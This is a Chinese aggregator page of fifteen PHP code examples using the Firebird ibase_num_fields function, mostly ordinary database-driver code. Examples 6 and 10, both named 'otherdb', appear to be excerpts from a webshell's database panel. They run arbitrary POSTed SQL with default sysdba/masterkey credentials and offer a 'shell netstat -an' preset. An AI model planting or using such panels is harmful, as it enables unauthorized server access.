本文整理汇总了PHP中ibase_num_fields函数的典型用法代码示例。如果您正苦于以下问题:PHP ibase_num_fields函数的具体用法?PHP ibase_num_fields怎么用?PHP ibase_num_fields使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了ibase_num_fields函数的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: _performGetBlobFieldNames
function _performGetBlobFieldNames($result)
{
$blobFields = array();
for ($i = ibase_num_fields($result) - 1; $i >= 0; $i--) {
$info = ibase_field_info($result, $i);
if ($info['type'] === "BLOB") {
$blobFields[] = $info['name'];
}
}
return $blobFields;
}
示例2: __construct
/**
* Constructor
*
* @param resource handle
*/
public function __construct($result, TimeZone $tz = NULL)
{
$fields = array();
if (is_resource($result)) {
for ($i = 0, $num = ibase_num_fields($result); $i < $num; $i++) {
$field = ibase_field_info($result, $i);
$fields[$field['name']] = $field['type'];
}
}
parent::__construct($result, $fields, $tz);
}
示例3: gcms_fetch_object
function gcms_fetch_object($nresult)
{
$result = ibase_fetch_object($nresult);
if ($result) {
$coln = ibase_num_fields($nresult);
for ($i = 0; $i < $coln; $i++) {
$col_info = ibase_field_info($nresult, $i);
eval("\$result->" . strtolower($col_info['alias']) . " = \$result->" . $col_info['alias'] . ";");
}
}
return $result;
}
示例4: GetFields
function GetFields()
{
$_fields = array();
$_result = ibase_query($this->_Link, $this->SelectCommand);
$coln = ibase_num_fields($_result);
for ($i = 0; $i < $coln; $i++) {
$_prop = ibase_field_info($_result, $i);
$_field = array("Name" => $_prop["name"], "Type" => $_prop["type"], "Not_Null" => 0);
array_push($_fields, $_field);
}
ibase_free_result($_result);
return $_fields;
}
示例5: __construct
/**
* This function initializes the class.
*
* @access public
* @override
* @param DB_Connection_Driver $connection the connection to be used
* @param string $sql the SQL statement to be queried
* @param integer $mode the execution mode to be used
* @throws Throwable_SQL_Exception indicates that the query failed
*/
public function __construct(DB_Connection_Driver $connection, $sql, $mode = NULL)
{
$this->resource = $connection->get_resource();
$command = @ibase_query($this->resource, $sql);
if ($command === FALSE) {
throw new Throwable_SQL_Exception('Message: Failed to query SQL statement. Reason: :reason', array(':reason' => @ibase_errmsg()));
}
$this->command = $command;
$this->record = FALSE;
$this->blobs = array();
$count = (int) @ibase_num_fields($command);
for ($i = 0; $i < $count; $i++) {
$field = ibase_field_info($command, $i);
if ($field['type'] == 'BLOB') {
$this->blobs[] = $field['name'];
}
}
}
示例6: otherdb
//.........这里部分代码省略.........
\tStr[0] = "";
\tStr[1] = "select schemaname from syscat.schemata;";
\tStr[2] = "select name from sysibm.systables;";
\tStr[3] = "select colname from syscat.columns where tabname='table_name';";
\tStr[4] = "db2 get db cfg for db_name;";
db2form.db2sql.value = Str[i];
return true;
}
</script>
<textarea name="db2sql" style="width:600px;height:200px;">{$db2query}</textarea><br>
<select onchange="return db2Full(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">���ݿ�</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">���ݿ�����</option>
</select>
<input type="hidden" name="action" value="db2query">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($myaction == 'db2query') {
$db2link = db2_connect($db2dbname, $db2user, $db2pass) or die(db2_conn_errormsg());
$db2result = db2_exec($db2link, $db2query) or die(db2_stmt_errormsg());
$db2row = db2_fetch_row($db2result);
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td><b>' . db2_field_name($db2result) . "</b></td>\n";
}
echo "</tr>\n";
while ($db2row = db2_fetch_row($db2result)) {
echo "<tr>\n";
for ($i = 0; $i < db2_num_fields($db2result); $i++) {
echo '<td>' . "{$db2row[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
db2_free_result($db2result);
db2_close();
}
} elseif ($db == "fb") {
$fbhost = isset($_POST['fbhost']) ? $_POST['fbhost'] : 'localhost';
$fbpath = isset($_POST['fbpath']) ? $_POST['fbpath'] : '';
$fbpath = str_replace("\\\\", "\\", $fbpath);
$fbuser = isset($_POST['fbuser']) ? $_POST['fbuser'] : 'sysdba';
$fbpass = isset($_POST['fbpass']) ? $_POST['fbpass'] : 'masterkey';
$fbaction = isset($_POST['action']) ? $_POST['action'] : '';
$fbquery = isset($_POST['fbsql']) ? $_POST['fbsql'] : '';
$fbquery = stripslashes($fbquery);
print <<<END
<form method="POST" name="fbform" action="?s=gg&db=fb">
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
Str = new Array(5);
\tStr[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
\tStr[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
\tStr[3] = "input 'D:\\createtable.sql';";
\tStr[4] = "shell netstat -an;";
fbform.fbsql.value = Str[i];
return true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>ִ������</option>
\t<option value="1">����</option>
\t<option value="2">�ֶ�</option>
\t<option value="3">����sql</option>
\t<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery') {
$fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
echo '<font face="verdana"><table border="1" cellpadding="1" cellspacing="2">' . "\n<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td><b>' . ibase_field_info($fbresult, $i) . "</b></td>\n";
}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow = ibase_fetch_row($fbresult)) {
echo "<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td>' . "{$fbrow[$i]}" . '</td>';
}
echo "</tr>\n";
}
echo "</table></font>";
ibase_free_result($fbresult);
ibase_close();
}
}
}
示例7: getResultColumns
/**
* Returns metadata for all columns in a result set.
* @return array
*/
public function getResultColumns()
{
$count = ibase_num_fields($this->resultSet);
$columns = array();
for ($i = 0; $i < $count; $i++) {
$row = (array) ibase_field_info($this->resultSet, $i);
$columns[] = array('name' => $row['name'], 'fullname' => $row['name'], 'table' => $row['relation'], 'nativetype' => $row['type']);
}
return $columns;
}
示例8: num_fields
/**
* Number of fields in the result set
*
* @access public
* @return integer
*/
function num_fields()
{
$count = @ibase_num_fields($this->stmt_id);
}
示例9: OpenPage
function OpenPage($SQL, $PageSize, $Page)
{
$this->SQL = $SQL;
$this->Page = $Page;
$this->PageSize = $PageSize;
// 레코드 카운트를 얻어온다.
$SQL = str_replace("@First", "1", $this->SQL);
$SQL = str_replace("@Skip", "0", $SQL);
$SQL = str_replace("@SelectField", "Count(*)", $SQL);
$this->Records = ibase_query($SQL, $this->Database->link_id);
$this->Record = ibase_fetch_row($this->Records);
$this->RecordCount = $this->Record[0];
ibase_free_result($this->Records);
// 레코드가 없음
if (!$this->RecordCount) {
$this->RecordCount = 0;
$this->FieldCount = 0;
$this->RecNo = 0;
$this->RecNoDesc = 0;
$this->EOF = 1;
return false;
}
$this->RecNo = $PageSize * ($Page - 1) + 1;
$this->RecNoDesc = $this->RecordCount - $PageSize * ($Page - 1);
$this->LastPage = intval(($this->RecordCount - 1) / $PageSize) + 1;
// Select할 필드를 치환한 후 오픈한다.
$SQL = str_replace("@First", $PageSize, $this->SQL);
$SQL = str_replace("@Skip", $PageSize * ($Page - 1), $SQL);
$SQL = str_replace("@SelectField", $this->SelectField, $SQL);
$this->Records = ibase_query($SQL, $this->Database->link_id);
$this->FieldCount = ibase_num_fields($this->Records);
unset($this->Fields);
for ($i = 0; $i < $this->FieldCount; $i++) {
$this->Fields[] = $this->FieldName($i);
}
$this->Record = ibase_fetch_row($this->Records);
if ($this->Record) {
$this->EOF = 0;
} else {
$this->EOF = 1;
}
}
示例10: otherdb
//.........这里部分代码省略.........
<div class="actall">Host:<input type="text" name="fbhost" value="{$fbhost}" style="width:100px">
Path:<input type="text" name="fbpath" value="{$fbpath}" style="width:100px">
User:<input type="text" name="fbuser" value="{$fbuser}" style="width:100px">
Pass:<input type="text" name="fbpass" value="{$fbpass}" style="width:100px"><br/>
<script language="javascript">
function fbFull(i){
\tStr = new Array(5);
Str[0] = "";
\tStr[1] = "select RDB\$RELATION_NAME from RDB\$RELATIONS;";
Str[2] = "select RDB\$FIELD_NAME from RDB\$RELATION_FIELDS where RDB\$RELATION_NAME='table_name';";
Str[3] = "input 'D:\\createtable.sql';";
Str[4] = "shell netstat -an;";
\tfbform.fbsql.value = Str[i];
\treturn true;
}
</script>
<textarea name="fbsql" style="width:600px;height:200px;">{$fbquery}</textarea><br>
<select onchange="return fbFull(options[selectedIndex].value)">
\t<option value="0" selected>command</option>
<option value="1">tables</option>
<option value="2">columns</option>
<option value="3">import sql</option>
<option value="4">shell</option>
</select>
<input type="hidden" name="action" value="fbquery">
<input class="bt" type="submit" value="Query"></div></form>
END;
if ($fbaction == 'fbquery') {
$fblink = ibase_connect($fbhost . ':' . $fbpath, $fbuser, $fbpass) or die(ibase_errmsg());
$fbresult = ibase_query($fblink, $fbquery) or die(ibase_errmsg());
echo '<font face="verdana">';
echo '<table border="1" cellpadding="1" cellspacing="2">';
echo "\n<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td bgcolor="#228B22"><b>' . ibase_field_info($fbresult, $i);
echo "</b></td>\n";
}
echo "</tr>\n";
ibase_field_info($fbresult, 0);
while ($fbrow = ibase_fetch_row($fbresult)) {
echo "<tr>\n";
for ($i = 0; $i < ibase_num_fields($fbresult); $i++) {
echo '<td bgcolor="#B8B8E8">';
echo "{$fbrow[$i]}";
echo '</td>';
}
echo "</tr>\n";
}
echo "</table>\n";
echo "</font>";
ibase_free_result($fbresult);
ibase_close();
}
} else {
$pghost = isset($_POST['pghost']) ? $_POST['pghost'] : 'localhost';
$pguser = isset($_POST['pguser']) ? $_POST['pguser'] : 'postgres';
$pgpass = isset($_POST['pgpass']) ? $_POST['pgpass'] : '';
$pgdbname = isset($_POST['pgdbname']) ? $_POST['pgdbname'] : 'postgres';
$pgaction = isset($_POST['action']) ? $_POST['action'] : '';
$pgquery = isset($_POST['pgsql']) ? $_POST['pgsql'] : '';
$pgquery = stripslashes($pgquery);
print <<<END
<form method="POST" name="pgform" action="?s=w">
<div class="actall">Host:<input type="text" name="pghost" value="{$pghost}" style="width:100px;">
User:<input type="text" name="pguser" vaule="{$pguser}" style="width:100px">
Pass:<input tyoe="text" name="pgpass" value="{$pgpass}" style="width:100px">
示例11: write_data
function write_data($table_name)
{
global $db;
$ary_type = $ary_name = array();
// Grab all of the data from current table.
$sql = "SELECT *\n\t\t\tFROM {$table_name}";
$result = $db->sql_query($sql);
$i_num_fields = ibase_num_fields($result);
for ($i = 0; $i < $i_num_fields; $i++) {
$info = ibase_field_info($result, $i);
$ary_type[$i] = $info['type'];
$ary_name[$i] = $info['name'];
}
while ($row = $db->sql_fetchrow($result)) {
$schema_vals = $schema_fields = array();
// Build the SQL statement to recreate the data.
for ($i = 0; $i < $i_num_fields; $i++) {
$str_val = $row[strtolower($ary_name[$i])];
if (preg_match('#char|text|bool|varbinary|blob#i', $ary_type[$i])) {
$str_quote = '';
$str_empty = "''";
$str_val = sanitize_data_generic(str_replace("'", "''", $str_val));
} else {
if (preg_match('#date|timestamp#i', $ary_type[$i])) {
if (empty($str_val)) {
$str_quote = '';
} else {
$str_quote = "'";
}
} else {
$str_quote = '';
$str_empty = 'NULL';
}
}
if (empty($str_val) && $str_val !== '0') {
$str_val = $str_empty;
}
$schema_vals[$i] = $str_quote . $str_val . $str_quote;
$schema_fields[$i] = '"' . $ary_name[$i] . '"';
}
// Take the ordered fields and their associated data and build it
// into a valid sql statement to recreate that field in the data.
$sql_data = "INSERT INTO {$table_name} (" . implode(', ', $schema_fields) . ') VALUES (' . implode(', ', $schema_vals) . ");\n";
$this->flush($sql_data);
}
$db->sql_freeresult($result);
}
示例12: numCols
function numCols($result)
{
$cols = ibase_num_fields($result);
if (!$cols) {
return $this->raiseError();
}
return $cols;
}
示例13: tableInfo
/**
* Returns information about a table or a result set.
*
* NOTE: only supports 'table' and 'flags' if <var>$result</var>
* is a table name.
*
* @param object|string $result MDB2_result object from a query or a
* string containing the name of a table
* @param int $mode a valid tableInfo mode
* @return array an associative array with the information requested
* or an error object if something is wrong
* @access public
* @internal
* @see MDB2_Driver_Common::tableInfo()
*/
function tableInfo($result, $mode = null)
{
$db =& $GLOBALS['_MDB2_databases'][$this->db_index];
if ($db->options['portability'] & MDB2_PORTABILITY_LOWERCASE) {
$case_func = 'strtolower';
} else {
$case_func = 'strval';
}
if (is_string($result)) {
/*
* Probably received a table name.
* Create a result resource identifier.
*/
if (MDB2::isError($connect = $db->connect())) {
return $connect;
}
$id = @ibase_query($db->connection, "SELECT * FROM {$result} WHERE 1=0");
$got_string = true;
} else {
/*
* Probably received a result object.
* Extract the result resource identifier.
*/
$id = $result->getResource();
if (empty($id)) {
return $db->raiseError();
}
$got_string = false;
}
if (!is_resource($id)) {
return $db->raiseError(MDB2_ERROR_NEED_MORE_DATA);
}
$count = @ibase_num_fields($id);
// made this IF due to performance (one if is faster than $count if's)
if (!$mode) {
for ($i = 0; $i < $count; $i++) {
$info = @ibase_field_info($id, $i);
$res[$i]['table'] = $got_string ? $case_func($result) : '';
$res[$i]['name'] = $case_func($info['name']);
$res[$i]['type'] = $info['type'];
$res[$i]['len'] = $info['length'];
$res[$i]['flags'] = $got_string ? $this->_ibaseFieldFlags($info['name'], $result) : '';
}
} else {
// full
$res['num_fields'] = $count;
for ($i = 0; $i < $count; $i++) {
$info = @ibase_field_info($id, $i);
$res[$i]['table'] = $got_string ? $case_func($result) : '';
$res[$i]['name'] = $case_func($info['name']);
$res[$i]['type'] = $info['type'];
$res[$i]['len'] = $info['length'];
$res[$i]['flags'] = $got_string ? $this->_ibaseFieldFlags($info['name'], $result) : '';
if ($mode & MDB2_TABLEINFO_ORDER) {
$res['order'][$res[$i]['name']] = $i;
}
if ($mode & MDB2_TABLEINFO_ORDERTABLE) {
$res['ordertable'][$res[$i]['table']][$res[$i]['name']] = $i;
}
}
}
// free the result only if we were called on a table
if ($got_string) {
@ibase_free_result($id);
}
return $res;
}
示例14: numCols
/**
* Count the number of columns returned by the DBMS in a query result.
*
* @return mixed integer value with the number of columns, a MDB2 error
* on failure
* @access public
*/
function numCols()
{
if (true === $this->result) {
//query successfully executed, but without results...
return 0;
}
if (!is_resource($this->result)) {
return $this->db->raiseError(MDB2_ERROR_NOT_FOUND, null, null, 'numCols(): not a valid ibase resource', __FUNCTION__);
}
$cols = @ibase_num_fields($this->result);
if (null === $cols) {
if (false === $this->result) {
return $this->db->raiseError(MDB2_ERROR_NEED_MORE_DATA, null, null, 'resultset has already been freed', __FUNCTION__);
} elseif (null === $this->result) {
return count($this->types);
}
return $this->db->raiseError(null, null, null, 'Could not get column count', __FUNCTION__);
}
return $cols;
}
示例15: numFields
public function numFields()
{
if (!empty($this->query)) {
return ibase_num_fields($this->query);
} else {
return 0;
}
}